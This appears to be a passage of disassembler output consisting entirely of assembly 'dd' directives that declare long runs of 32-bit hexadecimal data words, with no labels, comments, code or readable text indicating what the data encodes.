		dd 3CCFAE4h, 86E1B31Ch,	8240AD6Dh, 0C93CA12Ch, 0F0C47C3Eh
		dd 9097E722h, 0C03D2A83h, 0F2A8542Dh, 6581C149h, 4B4F895h
		dd 23270492h, 81A048D0h, 0BB6170BDh, 0AAC44020h, 208C824h
		dd 0A7CF31A9h, 0AC600F66h, 790020E2h, 24592CB3h, 0B0EC926Ch
		dd 24AB7678h, 3C3CBC04h, 3D40B081h, 6132F524h, 9440444h
		dd 0BC8E0728h, 73EA31F8h, 0B1ECBD18h, 2637A880h, 1F6C0DD8h
		dd 890C0C6Fh, 2710B618h, 0A80412DCh, 99ECADh, 0E89E4352h
		dd 81CE056Fh, 21A2B09Dh, 0BE19F694h, 0A8801E30h, 98543813h
		dd 989310B4h, 2F101862h, 0C8308D00h, 0F8EC5907h, 0C2D5F10h
		dd 0E8EE160Eh, 65BA0149h, 8A475783h, 0C4C08FBEh, 0CDB3A077h
		dd 0DFF7890Eh, 1E08A129h, 84A390C0h, 0D248F964h, 0F4249BACh
		dd 0B68AFE00h, 1D5D0E9Bh, 0C008ADF0h, 0EE3F6429h, 6B1D5C01h
		dd 0C83DF60h, 8721B830h, 10F2E9B0h, 20BC1E34h, 6D7300FFh
		dd 58D9DF4Dh, 0E896EF00h, 3353A092h, 0B8E2F8h, 9156E6D6h
		dd 7363D86Bh, 1C3DBC01h, 9D1A1E5Dh, 0E8B61441h,	0D4321101h
		dd 41797F3Bh, 350099FAh, 3D8C02A7h, 0D77DC2h, 8BEB9A19h
		dd 34F8E3DBh, 0EAA5B402h, 60A133ECh, 73646h, 6A087DF9h
		dd 591BED35h, 53C24A00h, 49BCE05Eh, 0FB16071Ch,	609A899Bh
		dd 2AB078A5h, 503F4E02h, 802CB668h, 959666C4h, 8AF6B7h
		dd 9C738B89h, 71657D7Bh, 38B09007h, 8178485h, 9E52EA50h
		dd 45B60003h, 36CED479h, 0C100E7ABh, 58D57844h,	0D666BAh
		dd 52B6D30Ch, 8B4056CFh, 2D76112Ch, 0BEE64B02h,	0B9480E5h
		dd 195C39h, 48038F3Ah, 30D2D4AFh, 8E407207h, 0B1078264h
		dd 7F8DEFE0h, 0FA790F1Ah, 38035E25h, 0DAF0F13Bh, 54F0B79Ch
		dd 0F9914E00h, 46CF2DD2h, 2A4002F7h, 0A997AE3Bh, 0D010860h
		dd 0C48B4E06h, 81474Ch,	8672A775h, 2F7921C7h, 28EF9B3Ah
		dd 0FC00D85Fh, 0A57AF89Ah, 492BDCh, 0F6806853h,	1DEA016h
		dd 2E88E500h, 7483BA6Dh, 367C20h, 4387C54h, 0B59F7B64h
		dd 4D375A01h, 2E272AEh,	460820h, 4E05DDBAh, 6E629B2Dh
		dd 0F5ED8D00h, 0A1773F60h, 7E8430E4h, 7448BF80h, 2C69C0Fh
		dd 0F2D587ECh, 0BA302327h, 72A3E9EBh, 8D1C0FE5h, 2129AAFAh
		dd 0E0B53C80h, 9E00DD3Bh, 0AECD0B70h, 0DB2D76h,	0C6028798h
		dd 0D2066BA7h, 0EAFFC700h, 0D34B7701h, 404A000Ch, 434FF9E0h
		dd 7D006BEBh, 93B65455h, 7F7EB856h, 19D90020h, 94018A96h
		dd 773C1AF1h, 885860D4h, 0C3B1E5h, 4EA3F9C8h, 9132C9F0h
		dd 8F3BD102h, 806F3DA9h, 6DEA96D0h, 0D4BC3975h,	0C7F8DD1Eh
		dd 8317B2h, 4B0DD211h, 46B54Ch,	39D729B9h, 7BF8FFh, 381CE704h
		dd 99F1928Dh, 869AD802h, 61548FFDh, 0D5F8762Ch,	60E1396h
		dd 0F312F9h
		dd 2B2DB634h, 0D9007E9Fh, 874AE2EFh, 74B8E1h, 43DBE6F0h
		dd 6024AE98h, 9C76E500h, 2B6220F7h, 731128C7h, 0C62E0F08h
		dd 3CC0EB12h, 9AB73D74h, 0C971753Bh, 5CC10028h,	97FECE78h
		dd 24EF0BE7h, 0DB814609h, 30E922B0h, 0B10FAAA4h, 0C3BE35D0h
		dd 0A53E08h, 475A6911h,	647BCA17h, 0ED001090h, 81A684Eh
		dd 7F450Dh, 0F8D3903Ah,	31C9CEA2h, 0FC595A00h, 29B8E473h
		dd 789243Bh, 2C248E70h,	0AE6C4012h, 11D6D4CCh, 0F5B2100h
		dd 0C083990Bh, 50310028h, 0A774F667h, 4CFEEA36h, 0CDBC7600h
		dd 0B0D2482Eh, 9C3900E2h, 954DAB70h, 143966BDh,	9E35001Bh
		dd 3AF2DA11h, 0E1AC079Bh, 0E0C351F9h, 0DEBBD66Bh, 77EB283Eh
		dd 0FDA91D00h, 1A1947E7h, 7A460EB4h, 59E59EC2h,	22C890E8h
		dd 9046168h, 27787406h,	3DFC6C80h, 0A2A0F5Fh, 61231CA4h
		dd 1947720h, 48800421h,	0AFF4FCh, 820A1A58h, 86EB2446h
		dd 5F335100h, 447B5DBBh, 0CB8D0A57h, 0CC5EBEh, 3E56BC3h
		dd 770156D7h, 6ADFC8D1h, 6C242A3Fh, 8566022Ch, 0EDBE331Dh
		dd 0C06BA0A0h, 900050CDh, 4421FDC6h, 98F0B5h, 9B943EC4h
		dd 82410CBAh, 1D95693Ch, 0BD407503h, 0BEDE5FDh,	0E228017Ah
		dd 0F3E31AB7h, 87347111h, 873CB428h, 552BC370h,	366700CEh
		dd 0E2628E88h, 320031DCh, 0F5E16CD4h, 0A44E9A4h, 58CA3A86h
		dd 47E17D0h, 0C010C911h, 0FFF0576h, 5EA97318h, 4DE8536h
		dd 0C1964F66h, 876880E0h, 8F124C8Eh, 0C44005C9h, 3F17775Fh
		dd 0B4DE07Ah, 0E03E7111h, 4CC34800h, 0C91F652Fh, 5015C0Ah
		dd 9E927A56h, 0B7E0C0DFh, 0B8FE0024h, 677B913Dh, 2200C116h
		dd 483A81F2h, 0E2885DBEh, 24530028h, 38CC8DDh, 3D76FD23h
		dd 0BB7AAA00h, 0F4CC9140h, 819F0790h, 0B11653C6h, 0D8207CCFh
		dd 0C8012264h, 0BEA14DDAh, 0D0F483F9h, 7D75B1h,	6B3BEF5Ah
		dd 9735FAA0h, 94FD1901h, 0E1A4655Ch, 8B40EFEFh,	2C23C5h
		dd 0A6696FF4h, 75ABC489h, 651D6EF2h, 0E00B19Bh,	774878C6h
		dd 0E61A00CAh, 3350C890h, 8300CD13h, 8CB3A04Bh,	0EC0AB05Fh
		dd 80F7272Dh, 0DB314000h, 5E004B06h, 2E7B16ABh,	4D10BDh
		dd 4409D668h, 7C21CE5Fh, 0BF808B00h, 0D80FED0Eh, 7207B01h
		dd 13F112C9h, 221F00DCh, 2D2C4D53h, 0EF0093FFh,	5AB2C8B6h
		dd 461003D6h, 0D700F87h, 0B44323F8h, 0C114A858h, 0D51FF5C7h
		dd 0B88953CCh, 0FC4138C1h, 0FA5748Bh, 0FB487403h, 2C63B109h
		dd 0D26420FDh, 6E99F39h, 9D937D55h, 13001975h, 5FD943D8h
		dd 2A134CDh, 0D430CFC8h, 60503C93h, 589FE92Eh, 18DE7F40h
		dd 0BD00072h, 0D20F0A1Dh, 81001576h, 429C1970h,	582FA2C7h
		dd 0CF055C60h, 904D77E7h, 0B86D3048h, 8A8C402Eh, 6A2B2000h
		dd 9347A0h, 291FD772h, 90459E68h, 1CD46F14h, 70910008h
		dd 692A1DD5h, 31466F9Fh, 0CBA801A0h, 1B607167h,	0EAC3A261h
		dd 872307AFh, 4713A922h, 98E3890Eh, 0E086F3C1h,	11C01117h
		dd 0CE418703h, 0C390040h, 0DB6FDEB1h, 26072C82h, 25D45F92h
		dd 0EBBE8140h, 0A0280089h, 2EE452D5h, 0AB601A8Dh, 1B6C6540h
		dd 2C93002Ah, 0A9CA96A8h, 0FC2423B5h, 1024ED28h, 0AB9C541Fh
		dd 8844ACA7h, 0C1A90A14h, 130CA52Bh, 0C088C4B1h, 0CDB2658h
		dd 0FBC45300h, 0A0CDB3F2h, 0C06D38BEh, 9C903C80h, 91929822h
		dd 3F29063Bh, 0CA810BE8h, 37B84A8Ah, 0CB8F0A04h, 564989A8h
		dd 547B8E0h, 0B004C44Ah, 0FF44F2D3h, 690244F4h,	26614703h
		dd 4DF2921h, 1F4B5FB5h,	8A3DA0A2h, 0E179C7h, 58B1F79Bh
		dd 51DBC984h, 0B3009D70h, 0F6D87549h, 0E6A5BDCh, 0BD53ABA9h
		dd 0CE845CE0h, 97044FACh, 0E5DDBBCh, 0D75A60C1h, 0FAA420h
		dd 574EE84h, 2F41613Ah,	78F83400h, 0EACFEDCh, 103060A2h
		dd 0F1DD0657h, 0BEA92D00h, 0DC8A4ECFh, 640B00D3h, 0F27509A3h
		dd 0A204E325h, 88081C65h, 4A680CF4h, 69E800DAh,	23FCF13Ch
		dd 166C7F22h, 5399E8h, 31514E2Eh, 5801DFF5h, 0A0BD7CF1h
		dd 0B448B27Bh, 435F021Dh, 71EB9EBFh, 0F033450h,	0D8E9E70Ah
		dd 2439053Ch, 0C3733856h, 40F815CBh, 5106C554h,	0DF03DBABh
		dd 0A7C10204h, 5FF88D34h, 6C394C60h, 4951FD00h,	3825E2B3h
		dd 26A30993h, 36006A83h, 890A6C9Ah, 6DB5EA1Dh, 827A7C0h
		dd 0F98D93h, 4856D133h,	4260AABCh, 23581F0Fh, 8074072h
		dd 1EB6D940h, 53E96CC1h, 0C5C00314h, 0C2C3503Fh, 0F1D1900h
		dd 80DD4F1Ah, 1C8116FCh, 56F448E1h, 7AC7CE63h, 9E7EE0h
		dd 7659ECEAh, 1008D531h, 0B8F840EFh, 0FC009977h, 6BE9927Eh
		dd 0F08F1309h, 0F53800C7h, 399D7056h, 0ACEE2B4Ah, 751E1403h
		dd 1499BACAh, 0B43325A4h, 0E4A0DE25h, 0EC040122h, 36131417h
		dd 0F189C05Ch, 90A0871Dh, 0ECC96214h, 174C11FCh, 1222CF67h
		dd 0E1F443BDh, 60FFDF21h, 66DAB6D3h, 26E8BF0Ch,	4892E022h
		dd 56003C75h, 282EB16Eh, 4090259Ah, 78FED3E2h, 939F9513h
		dd 3060BC45h, 0B9FFF4D0h, 758F0C43h, 0A6311A65h, 78074E7Bh
		dd 64768CCDh, 5D000C0Ah, 542861D2h, 5165005Bh, 7581418Fh
		dd 7A0EDABCh, 35A1A08h,	93600559h, 1CBC709h, 0A9D10AB6h
		dd 0E810E0h, 0C2E76353h, 0E3B6C005h, 0EB6A4C04h, 0BC80BEE4h
		dd 60B5936Fh, 71C4905Ah, 0CC074883h, 7EA9987Ah,	6E184BA0h
		dd 0ECC24D2Dh, 0A84C4900h, 97FC1270h, 52424002h, 800C6EAAh
		dd 673B39D8h, 736500A3h, 0B3953F2Ch, 61000727h,	0AE33EC96h
		dd 0FF1FABh, 0B7F1995Fh, 9DF26722h, 8400C8B8h, 0ADFBBE2Dh
		dd 8F875Bh, 37CD2471h, 0D9B653F6h, 0BCA89AB0h, 89006422h
		dd 8B84E7B1h, 54BF01C1h, 0FAB04Eh, 8E865AACh, 31550472h
		dd 7EB11E00h, 66AE4D22h, 0C79500A6h, 62DA7F1Ch,	0AD1FD638h
		dd 1CAECC9Ah, 0D7659F00h, 0E6CBEh, 0C4FF8E16h, 709C27DEh
		dd 20C66A15h, 2A2C02F8h, 40E017F5h, 0DB5D09h, 491471B6h
		dd 0D774B9A3h, 0C8EA3590h, 66B2C700h, 0F08BF2Ch, 70120050h
		dd 0F8FF1C43h, 5A5953C0h, 98A00B0h, 0E281CCACh,	980A00D5h
		dd 27B4D652h, 3B2E0682h, 5C3A9162h, 15540060h, 73D87BA6h
		dd 1CDE0063h, 0EEE0FC5h, 0A500FDD7h, 4E1A6019h,	3F07BCBEh
		dd 5ABA8B48h, 2079C680h, 0A401F97h, 10C5BB30h, 74F9132h
		dd 0B6D5BDFDh, 37C0336Bh, 48C086DAh, 3503727Bh,	53EF0DD0h
		dd 61DFF09Bh, 1297FEE4h, 107312h, 0A6800204h, 95007DDDh
		dd 0E5F372ABh, 0CCAD29h, 19DA3099h, 795EBF1Ah, 0A351CF02h
		dd 0E050386Dh, 9ACD74h,	0F498DE99h, 0C2A7D6BFh,	9C66C800h
		dd 0FF383CB4h, 3D0FCADh, 69ED311Bh, 0E980C27Fh,	337D11F3h
		dd 0D62AB81Fh, 43EF5F80h, 0C146A3C6h, 0E6D02068h, 40D87197h
		dd 0B1523AECh, 65DD6F00h, 0B54BB6D6h, 125702E0h, 0AE1FE4A6h
		dd 7ECF0360h, 0EA84A550h, 63EB550Fh, 5C80528Dh,	75A3029h
		dd 0B7564109h, 0C09FA492h, 7D65FAE4h, 0DB7B8DFEh, 32FB2E00h
		dd 42885DA8h, 6BB30BE1h, 420F31Fh, 9138B1CFh, 688C38CBh
		dd 4679CD0h, 0BC72EDD9h, 3E9CC80Dh, 9DB5D300h, 8D51E28Fh
		dd 0D8BE24EDh, 27760080h, 23FDF2DDh, 98AE5207h,	2C80E899h
		dd 38C7063Eh, 2A00D8A9h, 4DCE561Fh, 5019571Ch, 0F4B85344h
		dd 10994DCh, 78831A7Ch,	0D4CE0D40h, 62602B8Ch, 0C8CA7AA9h
		dd 0DEB3004Bh, 0B0A73FBCh, 790071CFh, 0AC44C3C5h, 4C78D7D9h
		dd 505059D4h, 0F9920017h, 0A7B2865h, 8E011B37h,	52964F8h
		dd 24E97A46h, 0BEA430h
		dd 0EA2FAA7Bh, 0CB437D3Dh, 0B40E177Ch, 8A34CF6Dh, 0C003F06Eh
		dd 0D0FA26DEh, 1639D66Ah, 274A35Ch, 5F273430h, 0E18A9CA0h
		dd 0B24E6B17h, 0EDDBF840h, 38448E4h, 0EC77B7E2h, 0BAF0DFEAh
		dd 9413180Ah, 504A3634h, 6A000807h, 0C58F66A2h,	2547004Fh
		dd 5E19AB7h, 0D954A4A8h, 0FB004488h, 31920FDAh,	273B961h
		dd 9C637DF8h, 3C6024E8h, 88908498h, 0D3A770Fh, 6CB1A04Bh
		dd 0F23EBEDh, 0ACA3460Ch, 25E9EFE0h, 0A014470Ah, 60870ADh
		dd 71AEA148h, 0B2230B0h, 0A918F231h, 0CA2BBD39h, 75FF1C44h
		dd 0F7808420h, 0CA969D07h, 0F97646F4h, 0EB240E18h, 0A934D0Ch
		dd 0A18DD93h, 24912Ch, 2286EBAFh, 87090BA9h, 8985C814h
		dd 2AD580EDh, 0A057A5h,	2B2193E8h, 0C0526769h, 0D472B40Eh
		dd 7CD7A09Fh, 6F847Eh, 6D775980h, 0AB29FB3Ch, 784F2C00h
		dd 0A2254D43h, 2176B5h,	0A5F5EA87h, 31B1EE68h, 268BA306h
		dd 2399A2Ah, 0A04D6F77h, 0A056EAE7h, 401BBABEh,	0E07E669Eh
		dd 0F83DE8B5h, 49EA80A1h, 57838ED6h, 66450046h,	6D74719Bh
		dd 6C4A2598h, 0C8689420h, 0E04B897Bh, 8600FADCh, 21F2DEE5h
		dd 4070C03h, 0E1B19922h, 6D4547D2h, 399E1C50h, 0D3A23E69h
		dd 0B49B270Ch, 0FC069221h, 0DC1E2624h, 4A6533B1h, 0C0E52548h
		dd 0E00BDAA6h, 0A97E8102h, 5CE28733h, 0E1B38238h, 2AC12F82h
		dd 60062BDDh, 5088FC3h,	0B4163CCDh, 3BB481A3h, 2B7080ACh
		dd 55F1988Ah, 2AFB00FFh, 7E78333Ah, 5100116Eh, 0F3967416h
		dd 386FD06h, 0F81F3492h, 0BAF06D17h, 0FB030E90h, 6030A246h
		dd 4F7198E7h, 429106E6h, 30532F19h, 0E4D8AE00h,	63967FC2h
		dd 0E17D0018h, 9CC8B026h, 0A0A01464h, 0C5000A81h, 0F9166BD2h
		dd 3741CCBh, 0CE426205h, 0C2E8077Dh, 39013B6Eh,	83CBC73Dh
		dd 6BE816F0h, 8B790005h, 0E4150B8Eh, 0C6000466h, 0FAE2CEDDh
		dd 3D8344Dh, 0AFD309ADh, 52A8376Eh, 451DDDD7h, 7700101Fh
		dd 6C8B4715h, 0E70D00ECh, 4805AFFh, 83256F63h, 0A9789750h
		dd 4533E7Ch, 9EC883FBh,	431000E1h, 0A43EEDAAh, 0F91F548Fh
		dd 73C981CFh, 0A0DC0E64h, 0B655BCD8h, 0EF603242h, 44104829h
		dd 8EC8963h, 7CE94417h,	61222284h, 9511E042h, 3B7021EAh
		dd 0BD141142h, 21E68811h, 5E560884h, 5C8E0890h,	0B8103F08h
		dd 4879DA84h, 0FF0A431Ch, 8AC5121h, 509470A8h, 0FB9D1150h
		dd 11F8E011h, 44286F4Ah, 8BF4E214h, 841D22A4h, 8217828h
		dd 10E812F6h, 8C896E4Ch, 0D1442608h, 5DA1C01Ch,	6604C448h
		dd 14F43802h, 0E0D63E56h, 0EA8FF4h, 0CF534F2Dh,	32E81FF9h
		dd 13BFAA00h, 892351Bh,	0B7421E28h, 8554400Bh, 7B2EABFDh
		dd 7EA45E01h, 0A5217820h, 0ECCC17E9h, 50EF0258h, 0CB5FB11h
		dd 6B00D4F8h, 325E76EAh, 5C104501h, 0A6019869h,	0EEA8EC30h
		dd 829CCBDh, 5CE1D60Eh,	124380C0h, 1D37FE9h, 0CBBC553Ch
		dd 0E561BE86h, 6795F8F9h, 0D700A8B8h, 99F0DCE1h, 3E7A65Dh
		dd 0F738D42Bh, 79C0B136h, 0DC1E9783h, 64409AB8h, 3DD12931h
		dd 0D8AA005Ch, 93B43512h, 6E247450h, 7E816C18h,	69ED68E9h
		dd 0D0DCD1BDh, 0F2DAD060h, 0DD00C283h, 31E304C8h, 0B4016h
		dd 0CE903A7Bh, 956B2815h, 992CCC00h, 0EAA8B4B5h, 27FE6Fh
		dd 37207C58h, 2AD0449Ch, 70B6D100h, 0A27AEACCh,	0FB4606BAh
		dd 0F85E3982h, 0FC280D0Fh, 0E29A8013h, 0F91D4D0h, 0FBF1998h
		dd 50D27A09h, 4E017501h, 88928A52h, 1C054C38h, 809D246Dh
		dd 47182D31h, 4CD1BC09h, 0AD98E08Bh, 145C187Eh,	0B485D8D4h
		dd 35DEB603h, 0A0D06C98h, 0EACE2A1h, 201DC644h,	0F2A05F0Fh
		dd 5721E40Ah, 534C9103h, 2CFFD2Fh, 23E9B840h, 0CE3E096h
		dd 70419781h, 2627A515h, 0C75CA03Bh, 123B5B2h, 7568A017h
		dd 405CF9CDh, 99A59C6h,	49032572h, 76C7AF9Eh, 0F43DA099h
		dd 0A2B01FDh, 1A6674C4h, 7FF8E063h, 1805BE1Ch, 98A4D4Eh
		dd 0C5500020h, 2B325A7h, 0C06AE90Ah, 5060AF22h,	0E00C339h
		dd 1ED36653h, 0C53683h,	9E5055F8h, 0F6476C31h, 63246907h
		dd 0B46187A9h, 0E8D89F57h, 0FA900068h, 0A8A35BB8h, 0A0469E7h
		dd 0EE467505h, 90307087h, 240774EAh, 8E543Ch, 6A015320h
		dd 0C602C15Bh, 8B393FD2h, 9100E02Bh, 8768C0F5h,	9D762C63h
		dd 0AAA5F400h, 2317B118h, 257407F2h, 30228D2Dh,	0F59DEF5Bh
		dd 0C6074709h, 485000D4h, 38BDDFB0h, 0C978F9h, 47AD9700h
		dd 9AB9FE5Fh, 0FD42E900h, 8A8B4128h, 954A76BFh,	0FC335C20h
		dd 0A70A6670h, 0E401A8B1h, 0BFE17A03h, 49B3C040h, 0C4FF00F4h
		dd 0CFB610FBh, 88001C8Ah, 972AE1C7h, 7B15A2BEh,	9AC40778h
		dd 30242D48h, 2366A428h, 0B2B1E104h, 90B839h, 30B9C8C7h
		dd 0ADD8B7EAh, 0F8076D18h, 7E207D98h, 0D236D470h, 0EC660027h
		dd 0FB4773Eh, 0A602D583h, 39957B45h, 0E736E042h, 2F8D5C85h
		dd 0E39FBD03h, 0DCF07A0Bh, 51003223h, 0A1BEC1ADh, 12A6AE81h
		dd 0FDDA099h, 378BAAE0h, 0B009C5Eh, 0DBB9E7Fh, 24A80085h
		dd 0CC979842h, 0CB30800Ah, 9473A459h, 28C67ED6h, 308E785h
		dd 6F8641C9h, 28DBAFA5h, 0E5019AE0h, 4C0CC714h,	89383CCEh
		dd 0E015677Bh, 5C180ECh, 3F81420Ah, 7B30B0CDh, 8A48E501h
		dd 11E25EDCh, 8CB8472Bh, 0D1C96027h, 920F6B2Ah,	0C258B7F9h
		dd 8115B374h, 0C7A80582h, 0E4FA040h, 0D5920030h, 8473AC39h
		dd 957D966Ch, 1E02B300h, 0F523D676h, 8D8000E0h,	8E3E9BC5h
		dd 6500E816h, 7CC6E92h,	2E323C34h, 0C897DEh, 0A610FCEAh
		dd 0C700DAB5h, 33F7FB28h, 3CD6B94Dh, 6900BBC3h,	295D1E34h
		dd 0AF0057ACh, 0D4D49D5h, 13A512h, 8CA8560h, 7D191AF1h
		dd 4A16FB03h, 88F43789h, 3F8CF906h, 4180D270h, 3465E160h
		dd 233F0BEEh, 74E4008Fh, 0E96229F6h, 76F40002h,	31A66987h
		dd 0C6803AD0h, 0C49E36h, 0D42C28EAh, 0DE005B3Ch, 0D1305105h
		dd 3A642518h, 0A8068E5h, 16A3BEB3h, 0B400D966h,	87CA96EFh
		dd 3DD86522h, 68779B5h,	30D31DB6h, 1E36EF32h, 0B1A06C0Eh
		dd 7F8D00F8h, 6F9DDFh, 0AD95890Ah, 3B018393h, 29003CF8h
		dd 0E1A87813h, 0B598B0h, 7D632C9h, 3BDB45FDh, 7E212D00h
		dd 9244E89Eh, 0B1580EFBh, 5C2677h, 428DAB35h, 87077AEBh
		dd 3772E7C7h, 99B6471h,	7FBDEF0h, 24761DF4h, 2AEDB02Ch
		dd 917E4DCDh, 2273891Dh, 0AA925B40h, 0E8DD4367h, 0BCD205B0h
		dd 80392454h, 9565202Fh, 0CB681C00h, 6472F42Bh,	6E2C3AB7h
		dd 0F5459Fh, 8EFDABA2h,	0E701A36Dh, 41A66418h, 0B8C01C0Dh
		dd 1670022h, 0D8CC2873h, 0A0068DDh, 383A8E16h, 7827A064h
		dd 759901DAh, 1FFD7A55h, 96D04039h, 6726E5A6h, 0AC40908Fh
		dd 99756DCBh, 0D3D50028h, 7A88D874h, 134F0200h,	44A15A6h
		dd 5AE6009Fh, 49147237h, 6A3D2905h, 0D01B2896h,	869FA200h
		dd 0CB2F5F1Dh, 0C3D8249Ah, 61E000A7h, 0A5686EF4h, 0CC713124h
		dd 6A1AE505h, 11E10B0h,	0EB89BE88h, 3078E337h, 0A02D7F8h
		dd 56A9EE12h, 0F7C8C813h, 5C28700Ch, 890008DDh,	7C3EBE62h
		dd 0EA0EAE77h, 0A3EE8C93h, 0F3087D2Fh, 0C5CC009Ah, 80184AE2h
		dd 8290F62Dh, 97845302h, 8C3D3FDAh, 481894h, 767A75D4h
		dd 0BF737707h, 0FDBD0301h, 85592261h, 3EDBE8h, 569CE0Bh
		dd 54E8A28Ch, 81E07C3Bh, 31DFAE35h, 79D0A9E3h, 0F5240040h
		dd 1903292Fh, 901F3715h, 0A6C0D9BDh, 0FCAA1CDEh, 36B007E8h
		dd 4089EDB5h, 641B18C6h
		dd 0D9DE8201h, 0EC692A21h, 375E20h, 76CF997h, 8DB2AAE3h
		dd 94DE5426h, 3315BE01h, 0B83D86A7h, 7CA17260h,	0E30BEED8h
		dd 83D6A04Bh, 513E2E81h, 86D10E8h, 18500841h, 0F663D9C3h
		dd 1794982Ch, 217439CDh, 70E814FCh, 0ED0056DCh,	7999F219h
		dd 1D6427FBh, 4B263AF1h, 9CA21BD5h, 8CE1EFE7h, 0AEA970A1h
		dd 0D8643Ah, 0F51C20E6h, 77ECD7CFh, 60365807h, 0BD82A900h
		dd 2F745C2Ah, 809DD92Fh, 10B28C44h, 3EF4014Ah, 0A0760B1Eh
		dd 0E0402EB8h, 0BDDC2678h, 60500022h, 130B5AECh, 300E549h
		dd 3D1C9A75h, 0CD7151h,	29E70D38h, 87EF17D6h, 9C701200h
		dd 7AC9A3Eh, 0D7BF01B4h, 0F87A4E48h, 4610D823h,	1AA7610Fh
		dd 0BD5100F1h, 0C5980773h, 0C3B579BAh, 47F87148h, 0EA009E0Bh
		dd 0FC6E3B56h, 91A80D50h, 62023B90h, 7FC14B3Ch,	0C0A59454h
		dd 5BD28804h, 12D820B0h, 3E2E6D0Dh, 0F60048E5h,	0E759F288h
		dd 50B9E470h, 848A9Ch, 5566B515h, 36298554h, 0D4FE7300h
		dd 6EDD466Fh, 8C76DAh, 0C28706B4h, 20037969h, 89370F07h
		dd 0E3A016A7h, 1F494775h, 0C0D839DAh, 0BA08B724h, 0BF010C6Ah
		dd 36547BABh, 0C2FC785Ch, 8E700006h, 9B406ED3h,	0E63B2594h
		dd 3033DDCh, 5C12E57Eh,	3460B088h, 0B8150122h, 0D7295372h
		dd 1060875Eh, 41431ADDh, 3443E80Bh, 0CB8E002Dh,	0EB8B1CC7h
		dd 0B73AC804h, 0A58000F6h, 0DE21121Dh, 0DBAE00C0h, 6B1F107Ah
		dd 0B303BEECh, 0B6222D2Fh, 0ABB5D0ADh, 3C7121h,	11D3F71h
		dd 6AF3998Bh, 0FA1A4D00h, 0CA09FE33h, 0C640063h, 1152DF8h
		dd 590F5CC3h, 209CEF25h, 0B8EC1EC9h, 1F0900D1h,	416BECEh
		dd 6800E9B1h, 0D332E312h, 98C448h, 0B84DC58Bh, 2E2BA036h
		dd 0F31E30E6h, 0BCABD60Eh, 0BB1E3500h, 2D4E22h,	96948405h
		dd 3DED0EF2h, 0C1C4D700h, 2CC2E7F4h, 9BA71C6Ah,	0ABC30026h
		dd 65F10318h, 75C58600h, 2109683Ch, 0FAE02CFh, 273491DEh
		dd 200041E3h, 0BA64F5ECh, 30527184h, 0AF96F7FDh, 9C007B66h
		dd 8F2C7AC8h, 0B024CA22h, 4A742432h, 1C4B0732h,	0B9801BC3h
		dd 18669608h, 0D8E1DF00h, 23B8E697h, 0B7D50001h, 8114456Eh
		dd 6C00F771h, 276992FFh, 0EC4CA5BAh, 2A7A73h, 701DA186h
		dd 8336EB5Bh, 9CD5E501h, 6498E26Ch, 7C7F30h, 8EFC6128h
		dd 53A52B5Eh, 6DFAA203h, 0A8466A3Bh, 2CE2223h, 0BDD0EF35h
		dd 8802006h, 0A807BCD3h, 9129600h, 9A8934D7h, 52B2261Eh
		dd 0FE820343h, 87E0CCE7h, 6C007E1Fh, 6850A842h,	0FE322BCh
		dd 0B365CEDAh, 262CCFC3h, 0ACC3C1F0h, 9E3D7606h, 7410A7E5h
		dd 223E484h, 50B8C9ECh,	20411D83h, 0A69F60D5h, 0E65D5305h
		dd 0DC009294h, 1854E91Fh, 16374EDh, 211E8348h, 405C79CDh
		dd 4682ACCDh, 0BEDF2F07h, 360455A1h, 0F8DE4083h, 0EA946641h
		dd 0D903001Eh, 0C964590Ah, 0A401D290h, 638F304Ah, 0E9EB95F5h
		dd 3160C707h, 7776FCB7h, 0BEB1008Eh, 0FCF305CBh, 665C60E9h
		dd 0CD29010Bh, 586FD99Dh, 0A0D275ECh, 1F99C0h, 293AB808h
		dd 2132E8D0h, 3F1E0300h, 0E0769D40h, 0A9800AFh,	2E561468h
		dd 33009EBFh, 0C754536Ah, 2957076Fh, 8FB424A9h,	88818B95h
		dd 0E08DA431h, 803C2D5Bh, 56D4802Fh, 56B4FABh, 0C1C52C1Eh
		dd 77DA004Dh, 0FF886E2Dh, 76286C00h, 0FE8097AFh, 91FD0338h
		dd 0A5D1E0CAh, 0BF29A0E7h, 2C00F2C3h, 0D0F93CB6h, 0DFFE9Fh
		dd 3E0ECDCFh, 0D333A9CCh, 790D8F00h, 0E165BCD7h, 0F105013Bh
		dd 6699979Dh, 0B5B2F0E2h, 0BDDA1F00h, 537CB9DEh, 6A8B0065h
		dd 1883F041h, 260094D6h, 2BAA98E6h, 116F110h, 7A68AEA9h
		dd 20E3F859h, 0A600DCC8h, 1C24617Bh, 0F0EC21DAh, 0D5710F4Fh
		dd 67C0B7B0h, 0DCD7105Fh, 3907339h, 0E8295A9h, 76DA9028h
		dd 7F9600B0h, 0D509250Fh, 41016571h, 3A5E8D67h,	0D8C03D62h
		dd 0EE0F00E9h, 53B4294Ch, 60E81310h, 12913Ch, 905948A8h
		dd 7CECA03Fh, 0C3A50066h, 2F64EA33h, 80386F0Eh,	0B2700082h
		dd 0C9DF5B84h, 0D5E10022h, 6E0FDDBBh, 0C8E6E3D1h, 171777EAh
		dd 0D986h, 39A1E9F9h, 417200CFh, 11634BA7h, 0F600528Dh
		dd 2874EA6Ah, 1E9256Fh,	0B0CA2364h, 0F80B2E87h,	0CFEAC8B4h
		dd 268DE600h, 6695E175h, 0D4D73F5Dh, 3B29F500h,	0B6B364A1h
		dd 123C084Ch, 88434F0Fh, 0C9D73C2Eh, 60E20341h,	68B12Ch
		dd 7FF0913Eh, 95EDB8CDh, 89F94F1Fh, 80B4D80h, 73C92D4h
		dd 0C2E2DACCh, 2035F24Bh, 1C4BA842h, 0E68B2B8h,	0D96F7300h
		dd 96446378h, 18E90936h, 0B80034FBh, 52A5A087h,	9E007BECh
		dd 0F8605C59h, 0D6F88h,	0DB68CB25h, 0A724D727h,	0B9BDB207h
		dd 6940F82Bh, 124ED0F3h, 3407486h, 0FC8FA20Bh, 0BE412FA8h
		dd 64003AF6h, 7E34A169h, 0B0A067h, 33460893h, 41E34A82h
		dd 0CCA64301h, 489C3F85h, 1A1830h, 7087BD68h, 32E07D20h
		dd 13D4DD49h, 72013BC0h, 63DFD228h, 96E0A0F7h, 0E2490265h
		dd 0F201C961h, 0D48A12C0h, 9E3F7F00h, 81D241E0h, 9AE86Dh
		dd 0C288D9F1h, 25576619h, 0F3588EEFh, 0E2EE4307h, 0E358BBA2h
		dd 2C5BD898h, 0D9309A3h, 0E801A937h, 20926372h,	2B007494h
		dd 0ED5116D8h, 0C6EB20h, 7CC5786Fh, 0F811254Fh,	0D386AF0Eh
